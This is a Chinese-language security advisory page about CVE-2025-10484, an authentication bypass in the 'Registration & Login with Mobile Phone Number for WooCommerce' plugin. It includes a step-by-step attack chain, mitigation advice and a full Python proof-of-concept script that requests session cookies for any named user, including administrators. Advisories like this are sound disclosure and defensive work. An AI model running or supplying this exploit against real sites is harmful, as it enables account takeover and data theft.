IPBUF安全漏洞报告
English
CVE-2025-10484 CVSS 9.8 严重

CVE-2025-10484 WordPress WooCommerce手机号登录插件认证绕过漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-10484
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Registration & Login with Mobile Phone Number for WooCommerce

相关标签

认证绕过WordPressWooCommerceCVE-2025-10484会话劫持身份验证缺陷关键漏洞插件漏洞

漏洞概述

CVE-2025-10484是WordPress插件"Registration & Login with Mobile Phone Number for WooCommerce"中的一个严重认证绕过漏洞。该插件用于提供基于手机号码的WordPress和WooCommerce用户注册和登录功能。漏洞存在于所有版本直到1.3.1,由于插件在fma_lwp_set_session_php_fun()函数中未正确验证用户身份,攻击者可以利用此漏洞无需提供有效密码即可冒充网站上的任意用户,包括管理员账户。此漏洞CVSS评分高达9.8,属于严重级别,对使用该插件的WordPress网站构成重大安全威胁。未经身份验证的远程攻击者可以利用此漏洞完全控制受影响网站,窃取敏感数据、进行欺诈交易或进一步入侵。

技术细节

该认证绕过漏洞的根本原因在于fma_lwp_set_session_php_fun()函数的实现缺陷。正常情况下,用户登录时应验证其提供的凭证(如密码或手机验证码)是否与数据库中存储的记录匹配。然而,该函数在处理认证请求时,跳过了关键的身份验证步骤,直接根据传入的参数(如用户ID或手机号)建立会话。攻击者只需知道目标用户的用户名、邮箱或手机号,即可通过构造特定的HTTP请求触发该函数,在未提供正确密码的情况下获取该用户的有效会话cookie。攻击者可以利用自动化工具批量探测网站用户名,然后使用PoC脚本构造恶意请求完成认证绕过。此漏洞属于OWASP Top 10中的"Broken Authentication"类别,CVSS向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H表明攻击复杂度低,无需任何权限即可实施,且对机密性、完整性和可用性均造成严重影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标网站,确认是否安装存在漏洞的WooCommerce手机号登录插件,探测用户名列表(可通过用户枚举或已有信息获取)
STEP 2
步骤2: 构造恶意请求
攻击者构造针对/wp-admin/admin-ajax.php的AJAX请求,payload包含目标用户名和触发fma_lwp_set_session_php_fun()函数的参数
STEP 3
步骤3: 发送认证绕过请求
攻击者发送恶意POST请求,由于fma_lwp_set_session_php_fun()函数缺少身份验证检查,直接根据传入的用户名参数建立会话
STEP 4
步骤4: 获取会话Cookie
漏洞函数返回有效的用户会话Cookie,攻击者将其保存用于后续身份冒充
STEP 5
步骤5: 账户接管
攻击者使用获取的Cookie以目标用户身份访问网站后台,执行管理员操作、窃取敏感数据、安装后门或进行其他恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-10484 PoC - Authentication Bypass in WooCommerce Mobile Phone Login Plugin Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys from urllib.parse import urljoin def exploit_auth_bypass(target_url, target_username): """ Exploit the authentication bypass vulnerability in fma_lwp_set_session_php_fun() by directly setting session for target user without password verification. """ # Target the AJAX endpoint used by the plugin ajax_endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') # Payload to trigger fma_lwp_set_session_php_fun() with target username # The vulnerability allows setting session without proper authentication payload = { 'action': 'fma_lwp_set_session', # Plugin AJAX action 'username': target_username, # Target user to impersonate 'phone_number': '', # Empty phone number bypasses verification 'method': 'set_session' # Direct session manipulation } try: print(f'[*] Attempting authentication bypass for user: {target_username}') print(f'[*] Target URL: {ajax_endpoint}') # Send malicious request response = requests.post( ajax_endpoint, data=payload, headers={ 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, timeout=30, allow_redirects=False ) # Check for successful session creation indicators if response.status_code == 200: cookies = response.cookies if cookies: print(f'[+] SUCCESS: Authentication bypassed!') print(f'[+] Obtained session cookies: {dict(cookies)}') print(f'[*] You can now use these cookies to access the site as {target_username}') return True # Alternative check: look for session token in response if 'session' in response.text.lower() or 'success' in response.text.lower(): print(f'[+] SUCCESS: Session data received') print(f'[*] Response: {response.text[:500]}') return True print(f'[-] Failed to bypass authentication') print(f'[*] Status code: {response.status_code}') print(f'[*] Response: {response.text[:500]}') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False def main(): if len(sys.argv) < 3: print('Usage: python cve-2025-10484-poc.py <target_url> <username>') print('Example: python cve-2025-10484-poc.py https://example.com admin') sys.exit(1) target_url = sys.argv[1].rstrip('/') target_username = sys.argv[2] exploit_auth_bypass(target_url, target_username) if __name__ == '__main__': main()

影响范围

Registration & Login with Mobile Phone Number for WooCommerce <= 1.3.1

防御指南

临时缓解措施
由于该漏洞允许未认证攻击者冒充任意用户,建议立即采取以下临时缓解措施:1) 如果暂时无法升级插件,可临时禁用该插件并使用WordPress默认登录方式;2) 通过.htaccess或Nginx配置限制admin-ajax.php的访问频率和来源IP;3) 启用Wordfence或类似安全插件的实时防火墙规则;4) 监控WordPress用户表和会话表,及时发现异常会话;5) 考虑启用IP白名单或VPN访问后台。最根本的修复方案是等待官方发布补丁后立即升级到安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表